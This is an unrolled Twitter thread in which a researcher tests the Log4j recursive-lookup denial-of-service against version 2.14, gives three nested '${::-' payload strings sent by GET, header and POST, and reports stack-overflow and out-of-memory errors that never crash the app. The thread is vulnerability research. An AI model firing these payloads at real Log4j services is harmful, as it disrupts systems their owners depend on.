Is anyone able to reliably "crash/kill" the application completely using this log4j DoS hype ride?

So far I'm yet to reproduce a weaponizable damage outside of denying logging. (IllegalStateException) 🤔

Expansion payload (10k reps or more) will do StackOverflow exception (1/n)
Along with @0xsapra , we reproduced it against 2.14 giving it the priority as it has lookups enabled by default.

To weaponize, the goal was to kill/crash the app not just throw Exception.

We tried multiple payload deliveries-
1.) GET request (max size 2048):
Payload used was
"${" + "${::-"*300 + "$${::-j}" + "}"*300 + "}"

No Lags, No Exception, App continues normally.

2.) Headers (Tomcat max size 8k - 48k):

Payload: "${" + "${::-"*8000 + "$${::-j}" + "}"*8000 + "}"

1 sec lag, SO exception, App continues normally.

3.) POST (Tomcat default 2MB)
"${" + "${::-"*500000 + "$${::-j}" + "}"*500000 + "}"

18 sec lag, java.lang.OutOfMemoryError exception, App continues normally. (Thread safe, 1 thread kill, app remains intact)

Tested on OS X. Also, this tests are assumed for 2.14 where payloads are delivered easily,but on 2.15
onwards there are lot more "ifs" for an exploitation to be successful. (Context, %m{lookups}, etc.)

Hence, the lags doesn't look to be damaging irl. 🧐

It would be interesting to see any real-world apps get fully crashed/exits/killed due to this DoS on default log4j usage.

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Aaditya Purani

Aaditya Purani Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Too expensive? Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(